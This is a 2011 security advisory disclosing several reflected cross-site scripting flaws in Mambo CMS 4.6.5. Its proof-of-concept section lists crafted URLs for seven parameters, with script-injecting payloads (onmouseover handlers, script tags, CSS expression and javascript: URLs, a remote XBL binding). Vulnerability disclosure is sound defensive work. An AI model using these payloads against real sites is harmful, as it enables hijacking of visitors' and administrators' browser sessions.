Mambo CMS 4.6.x (4.6.5) | Multiple Cross Site Scripting Vulnerabilities

1. OVERVIEW

Mambo CMS 4.6.5 and lower versions are vulnerable to Cross Site Scripting.

2. BACKGROUND

Mambo is a full-featured, award-winning content management system that
can be used for everything from simple websites to complex corporate
applications. It is used all over the world to power government
portals, corporate intranets and extranets, ecommerce sites, nonprofit
outreach, schools, church, and community sites. Mambo's "power in
simplicity" also makes it the CMS of choice for many small businesses
and personal sites.

3. VULNERABILITY DESCRIPTION

Multiple parameters (task, menu, menutype, zorder, search, client,
section) are not properly sanitized, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.

4. VERSIONS AFFECTED

Tested on Mambo CMS 4.6.5 (current as of 2011-06-27)

5. PROOF-OF-CONCEPT/EXPLOIT

FrontEnd

param: task

http://attacker.in/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32

BackEnd

param: menu

http://attacker.in/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20

param: menutype [hidden form xss, esp in IE 6,7 and older versions of Firefox]

http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS
http://attacker.in/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS

param: zorder

http://attacker.in/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent

param: search

http://attacker.in/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment

param: client

http://attacker.in/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27
NB: mouseover on "banner" link

param: section [hidden form xss, esp in IE 6,7 and older versions of Firefox]

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://attacker.in/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

6. SOLUTION

The vendor seems to discontinue the development. It is recommended to
use another CMS in active development.

7. VENDOR

Mambo CMS Development Team
http://mambo-developer.org

8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

9. DISCLOSURE TIME-LINE

2010-11-31: notified vendor through bug tracker
2011-06-27: no patched version released up to date
2011-06-27: vulnerability disclosed

10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mambo4.6.x]_cross_site_scripting
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5zip

#yehg [2011-06-27]